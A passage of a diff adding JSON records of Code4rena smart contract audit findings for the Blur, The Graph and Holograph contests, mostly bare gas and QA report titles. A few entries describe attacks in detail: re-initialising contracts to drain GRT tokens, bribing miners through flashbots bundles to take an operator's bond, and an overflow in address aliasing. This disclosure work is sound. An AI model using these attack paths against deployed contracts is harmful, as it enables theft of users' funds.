["bug", "G (Gas Optimization)"], "target": "2022-10-blur-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-blur-findings/issues/115", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-10-blur-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-blur-findings/issues/111", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-10-blur-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-blur-findings/issues/94", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-10-blur-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-blur-findings/issues/83", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-10-blur-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-blur-findings/issues/81", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-10-blur-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-blur-findings/issues/74", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-10-blur-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-blur-findings/issues/40", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-10-blur-findings", "body": "Gas Optimizations"}, {"title": "Agreements & Disclosures", "html_url": "https://github.com/code-423n4/2022-10-blur-findings/issues/1", "labels": [], "target": "2022-10-blur-findings", "body": "Agreements & Disclosures"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/313", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-10-thegraph-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/303", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-10-thegraph-findings", "body": "Gas Optimizations"}, {"title": "Governor can rug pull the escrow", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/300", "labels": ["bug", "2 (Med Risk)", "selected-for-report"], "target": "2022-10-thegraph-findings", "body": "Governor can rug pull the escrow"}, {"title": "If L1GraphTokenGateway's outboundTransfer is called by a contract, the entire msg.value is blackholed, whether the ticket got redeemed or not.", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/294", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor acknowledged", "selected-for-report"], "target": "2022-10-thegraph-findings", "body": "If L1GraphTokenGateway's outboundTransfer is called by a contract, the entire msg.value is blackholed, whether the ticket got redeemed or not."}, {"title": "GraphToken permit() function is vulnerable to approval double spending :", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/293", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-10-thegraph-findings", "body": "GraphToken permit() function is vulnerable to approval double spending :"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/292", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-10-thegraph-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/290", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-10-thegraph-findings", "body": "Gas Optimizations"}, {"title": "After proposed 0.8.0 upgrade kicks in, L2 finalizeInboundTransfer might not work.", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/289", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed", "selected-for-report"], "target": "2022-10-thegraph-findings", "body": "# Lines of code https://github.com/code-423n4/2022-10-thegraph/blob/309a188f7215fa42c745b136357702400f91b4ff/contracts/l2/gateway/L2GraphTokenGateway.sol#L70 # Vulnerability details ## Description L2GraphTokenGateway uses the onlyL1Counterpart modifier to make sure finalizeInboundTransfer is only called from L1GraphTokenGateway. Its implementation is: ```Solidity modifier onlyL1Counterpart() { require( msg.sender == AddressAliasHelper.applyL1ToL2Alias(l1Counterpart), \"ONLY_COUNTERPART_GATEWAY\" ); _; } ``` It uses applyL1ToL2Alias defined as: ``` uint160 constant offset = uint160(0x1111000000000000000000000000000000001111); /// @notice Utility function that converts the address in the L1 that submitted a tx to /// the inbox to the msg.sender viewed in the L2 /// @param l1Address the address in the L1 that triggered the tx to L2 /// @return l2Address L2 address as viewed in msg.sender function applyL1ToL2Alias(address l1Address) internal pure returns (address l2Address) { l2Address = address(uint160(l1Address) + offset); } ``` This behavior matches with how Arbitrum augments the sender's address to L2. The issue is that I've spoken with the team and they are [planning](https://github.com/graphprotocol/contracts/pull/725) an upgrade from Solidity 0.7.6 to 0.8.0. Their proposed [changes](https://github.com/graphprotocol/contracts/blob/c4d3cb56cb4032dbb3a0f1b7535b5d94ccf86222/contracts/arbitrum/AddressAliasHelper.sol) will break this function, because under 0.8.0, this line has a ~ 1/15 chance to overflow: `l2Address = address(uint160(l1Address) + offset);` Interestingly, the sum intentionally wraps around using the uint160 type to return a correct address, but this wrapping will overflow in 0.8.0 ## Impact There is a ~6.5% chance that finalizeInboundTransfer will not work. ## Proof of Concept l1Address is L1GraphTokenGateway, suppose its address is 0xF000000000000000000000000000000000000000. Then 0xF000000000000000000000000000000000000000 + 0x1111000000000000000000000000000000001111 > UINT160_MAX , meaning overflow. ## Tools Used Manual audit ## Recommended Mitigation Steps Wrap the calculation in an unchecked block, which will make it behave correctly."}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/288", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-10-thegraph-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/282", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-10-thegraph-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/281", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-10-thegraph-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/278", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-10-thegraph-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/276", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-10-thegraph-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/274", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-10-thegraph-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/273", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-10-thegraph-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/271", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-10-thegraph-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/269", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-10-thegraph-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/263", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-10-thegraph-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/262", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-10-thegraph-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/261", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-10-thegraph-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/260", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-10-thegraph-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/256", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-10-thegraph-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/255", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-10-thegraph-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/254", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-10-thegraph-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/242", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-10-thegraph-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/241", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-10-thegraph-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/233", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-10-thegraph-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/230", "labels": ["bug", "primary issue", "QA (Quality Assurance)", "selected-for-report"], "target": "2022-10-thegraph-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/227", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-10-thegraph-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/219", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-10-thegraph-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/215", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-10-thegraph-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/209", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-10-thegraph-findings", "body": "Gas Optimizations"}, {"title": "`L1GraphTokenGateway` should not allow `l1Router` as `callhookWhitelist`", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/198", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-10-thegraph-findings", "body": "`L1GraphTokenGateway` should not allow `l1Router` as `callhookWhitelist`"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/196", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-10-thegraph-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/194", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-10-thegraph-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/191", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-10-thegraph-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/188", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-10-thegraph-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/185", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-10-thegraph-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/184", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-10-thegraph-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/174", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-10-thegraph-findings", "body": "Gas Optimizations"}, {"title": "GRT may be locked in the destination contract forever if the user or external developers bridge it to a contract that requires onTokenTransfer without sending data.", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/168", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-10-thegraph-findings", "body": "GRT may be locked in the destination contract forever if the user or external developers bridge it to a contract that requires onTokenTransfer without sending data."}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/159", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-10-thegraph-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/153", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-10-thegraph-findings", "body": "Gas Optimizations"}, {"title": "initialize function in L2GraphToken.sol, BridgeEscrow.sol, L2GraphTokenGateway.sol, L1GraphTokenGateway.sol can be invoked multiple times from the implementation contract.", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/149", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed", "edited-by-warden", "selected-for-report"], "target": "2022-10-thegraph-findings", "body": "# Lines of code https://github.com/code-423n4/2022-10-thegraph/blob/309a188f7215fa42c745b136357702400f91b4ff/contracts/l2/gateway/L2GraphTokenGateway.sol#L87 https://github.com/code-423n4/2022-10-thegraph/blob/309a188f7215fa42c745b136357702400f91b4ff/contracts/l2/token/L2GraphToken.sol#L48 https://github.com/code-423n4/2022-10-thegraph/blob/309a188f7215fa42c745b136357702400f91b4ff/contracts/gateway/L1GraphTokenGateway.sol#L99 https://github.com/code-423n4/2022-10-thegraph/blob/309a188f7215fa42c745b136357702400f91b4ff/contracts/gateway/BridgeEscrow.sol#L20 # Vulnerability details ## Impact initialize function in L2GraphToken.sol, BridgeEscrow.sol, L2GraphTokenGateway.sol, L1GraphTokenGateway.sol can be invoked multiple times from the implementation contract. this means a compromised implementation can reinitialize the contract above and become the owner to complete the privilege escalation then drain the user's fund. Usually in Upgradeable contract, a initialize function is protected by the modifier ```solidity initializer ``` to make sure the contract can only be initialized once. ## Proof of Concept Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept. 1. The implementation contract is compromised, 2. The attacker reinitialize the BridgeEscrow contract ``` function initialize(address _controller) external onlyImpl { Managed._initialize(_controller); } ``` the onlyGovernor modifier's result depends on the controller because ```solidity function _onlyGovernor() internal view { require(msg.sender == controller.getGovernor(), \"Caller must be Controller governor\"); } ``` 3. The attacker have the governor access to the BridgeEscrow, 4. The attack can call the approve function to approve malicious contract ```solidity function approveAll(address _spender) external onlyGovernor { graphToken().approve(_spender, type(uint256).max); } ``` 5. The attack can drain all the GRT token from the BridgeEscrow. ## Tools Used Manual Review ## Recommended Mitigation Steps We recommend the project use the modifier ```solidity initializer ``` to protect the initialize function from being reinitiated ```solidity function initialize(address _owner) external onlyImpl initializer { ``` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/144", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-10-thegraph-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/143", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-10-thegraph-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/121", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-10-thegraph-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/118", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-10-thegraph-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/117", "labels": ["bug", "G (Gas Optimization)", "primary issue", "selected-for-report"], "target": "2022-10-thegraph-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/111", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-10-thegraph-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/109", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-10-thegraph-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/108", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-10-thegraph-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/103", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-10-thegraph-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/95", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-10-thegraph-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/93", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-10-thegraph-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/88", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-10-thegraph-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/86", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-10-thegraph-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/80", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-10-thegraph-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/78", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-10-thegraph-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/62", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-10-thegraph-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/60", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-10-thegraph-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/49", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-10-thegraph-findings", "body": "Gas Optimizations"}, {"title": "The older version of the openzeppelin library was used ", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/39", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-10-thegraph-findings", "body": "The older version of the openzeppelin library was used "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/38", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-10-thegraph-findings", "body": "QA Report"}] \ No newline at end of file diff --git a/results/codearena_findings_29.json b/results/codearena_findings_29.json new file mode 100644 index 0000000..f87f8fa --- /dev/null +++ b/results/codearena_findings_29.json @@ -0,0 +1 @@ +[{"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/37", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-10-thegraph-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/33", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-10-thegraph-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/31", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-10-thegraph-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/29", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-10-thegraph-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/28", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-10-thegraph-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/27", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-10-thegraph-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/20", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-10-thegraph-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/19", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-10-thegraph-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/18", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-10-thegraph-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/15", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-10-thegraph-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/14", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-10-thegraph-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/12", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-10-thegraph-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/10", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-10-thegraph-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/6", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-10-thegraph-findings", "body": "Gas Optimizations"}, {"title": "Agreements & Disclosures", "html_url": "https://github.com/code-423n4/2022-10-thegraph-findings/issues/1", "labels": [], "target": "2022-10-thegraph-findings", "body": "Agreements & Disclosures"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/501", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/499", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/492", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed", "responded", "grade-a"], "target": "2022-10-holograph-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/484", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/480", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed", "responded", "grade-a"], "target": "2022-10-holograph-findings", "body": "QA Report"}, {"title": "`_payoutEth()` calculates `balance` with an offset, always leaving dust `ETH` in the contract", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/476", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "selected-for-report", "responded"], "target": "2022-10-holograph-findings", "body": "# Lines of code https://github.com/code-423n4/2022-10-holograph/blob/f8c2eae866280a1acfdc8a8352401ed031be1373/contracts/enforcer/PA1D.sol#L391 https://github.com/code-423n4/2022-10-holograph/blob/f8c2eae866280a1acfdc8a8352401ed031be1373/contracts/enforcer/PA1D.sol#L395 # Vulnerability details Payout recipients can call `getEthPayout()` to transfer the ETH balance of the contract to all payout recipients. This function makes an internal call to `_payoutEth`, which sends the payment to the recipients based on their associated `bp` The issue is that the `balance` used in the `transfer` calls is not the contract ETH balance, but the balance minus a `gasCost`. This means `getEthPayout()` calls will leave dust in the contract. ## Impact If the dust is small enough, a subsequent call to `getEthPayout` is likely to revert because of [this check](https://github.com/code-423n4/2022-10-holograph/blob/f8c2eae866280a1acfdc8a8352401ed031be1373/contracts/enforcer/PA1D.sol#L390). And `enforcer/PA1D` does not have any other ETH withdrawal function. While `enforcer/PA1D` is meant to be used via delegate calls from a NFT collection contract, if the NFT contract does not have any withdrawal function either, this dust mentioned above is effectively lost. ## Proof-Of-Concept Let us take the example of a payout recipient trying to retrieve their share of the balance, equal to `40_000` For simplicity, assume one payout address, owned by Alice: - Alice calls `getEthPayout()`, which in turn calls `_payoutEth()` - `gasCost = (23300 * length) + length = 23300 + 1 = 23301` - `balance = address(this).balance = 40000` - `balance - gasCost = 40000 - 23301 = 16699`, - `sending = ((bps[i] * balance) / 10000) = 10000 * 16699 / 10000 = 16699` - Alice receives `16699`. Alice has to wait for the balance to increase to call `getEthPayout()` again. But no matter what, there will always be at least a dust of `10000` left in the contract. ## Tools Used Manual Analysis ## Mitigation The transfers should be done based on `address(this).balance`. The `gasCost` is redundant as the gas amount is specified by the caller of `getEthPayout()`, the contract does not have to provide gas. ```diff -391: balance = balance - gasCost; 392: uint256 sending; 393: // uint256 sent; 394: for (uint256 i = 0; i < length; i++) { 395: sending = ((bps[i] * balance) / 10000); 396: addresses[i].transfer(sending); 397: // sent = sent + sending; 398: } ```"}, {"title": "MEV: Operator can bribe miner and steal honest operator's bond amount if gas price went high", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/473", "labels": ["bug", "3 (High Risk)", "sponsor confirmed", "selected-for-report", "responded"], "target": "2022-10-holograph-findings", "body": "# Lines of code https://github.com/code-423n4/2022-10-holograph/blob/f8c2eae866280a1acfdc8a8352401ed031be1373/contracts/HolographOperator.sol#L354 # Vulnerability details ## Description Operators in Holograph do their job by calling executeJob() with the bridged in bytes from source chain. If the primary job operator did not execute the job during his allocated block slot, he is punished by taking a single bond amount and transfer it to the operator doing it instead. The docs and code state that if there was a gas spike in the operator's slot, he shall not be punished. The way a gas spike is checked is with this code in executeJob: ``` require(gasPrice >= tx.gasprice, \"HOLOGRAPH: gas spike detected\"); ``` However, there is still a way for operator to claim primary operator's bond amount although gas price is high. Attacker can submit a flashbots bundle including the executeJob() transaction, and one additional \"bribe\" transaction. The bribe transaction will transfer some incentive amount to coinbase address (miner), while the executeJob is submitted with a low gasprice. Miner will accept this bundle as it is overall rewarding enough for them, and attacker will receive the base bond amount from victim operator. This threat is not theoretical because every block we see MEV bots squeezing value from such opportunities. info about coinbase [transfer](https://docs.flashbots.net/flashbots-auction/searchers/advanced/coinbase-payment) info about bundle [selection](https://docs.flashbots.net/flashbots-auction/searchers/advanced/bundle-pricing#bundle-ordering-formula) ## Impact Dishonest operator can take honest operator's bond amount although gas price is above acceptable limits. ## Tools Used Manual audit, flashbot docs ## Recommended Mitigation Steps Do not use current tx.gasprice amount to infer gas price in a previous block. Probably best to use gas price oracle."}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/472", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed", "responded", "grade-b"], "target": "2022-10-holograph-findings", "body": "QA Report"}, {"title": "MED - Incorrect implementation of ERC721 may have bad consequences for receiver", "html_url": "https://github.com/code-423n4/2022-10-holograph-findings/issues/469", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "selected-for-report", "responded"], "target": "2022-10-holograph-findings", "body": "# Lines of code https://github.com/code-423n4/2022-10-holograph/blob/f8c2eae866280a1acfdc8a8352401ed031be1373/contracts/enforcer/HolographERC721.sol#L467 # Vulnerability details ## Description HolographERC721.sol is an enforcer contract that fully implements ERC721. In its safeTransferFromFunction there is the following code: ``` if (_isContract(to)) { require( (ERC165(to).supportsInterface(ERC165.supportsInterface.selector) && ERC165(to).supportsInterface(ERC721TokenReceiver.onERC721Received.selector) && ERC721TokenReceiver(to).onERC721Received(address(this), from, tokenId, data) == ERC721TokenReceiver.onERC721Received.selector), \"ERC721: onERC721Received fail\" ); } ``` If the target address is a contract, the enforcer requires the target's onERC721Received() to succeed. However, the call deviates from the [standard](https://eips.ethereum.org/EIPS/eip-721): ``` interface ERC721TokenReceiver { /// @notice Handle the receipt of an NFT /// @dev The ERC721 smart contract calls this function on the recipient /// after a `transfer`. This function MAY throw to revert and reject the /// transfer. Return of other than the magic value MUST result in the /// transaction being reverted. /// Note: the contract address is always the message sender. /// @param _operator The address which called `safeTransferFrom` function /// @param _from The address which previously owned the token /// @param _tokenId The NFT identifier which is being transferred /// @param _data Additional data with no specified format /// @return `bytes4(keccak256(\"onERC721Received(address,address,uint256,bytes)\"))` /// unless throwing function onERC721Received(address _operator, address _from, uint256 _tokenId, bytes _data) external returns(bytes4); } ``` The standard mandates that the first parameter will be the operator - the caller of safeTransferFrom. The enforcer passes instead the address(this) value, in other words the Holographer address. The impact is that any bookkeeping done in target contract, and allow / disallow decision of the transaction, is based on false information. ## Impact ERC721 transferFrom's \"to\" contract may fail to accept transfers, or record credit of transfers incorrectly. ## Tools Used Manual audit ## Recommended Mitigation Steps Pass the msg.sender parameter, as the ERC721 standard requires."}, {"title": "MED: leak of value when interacting with an ERC721 enforcer contract", "html_url": 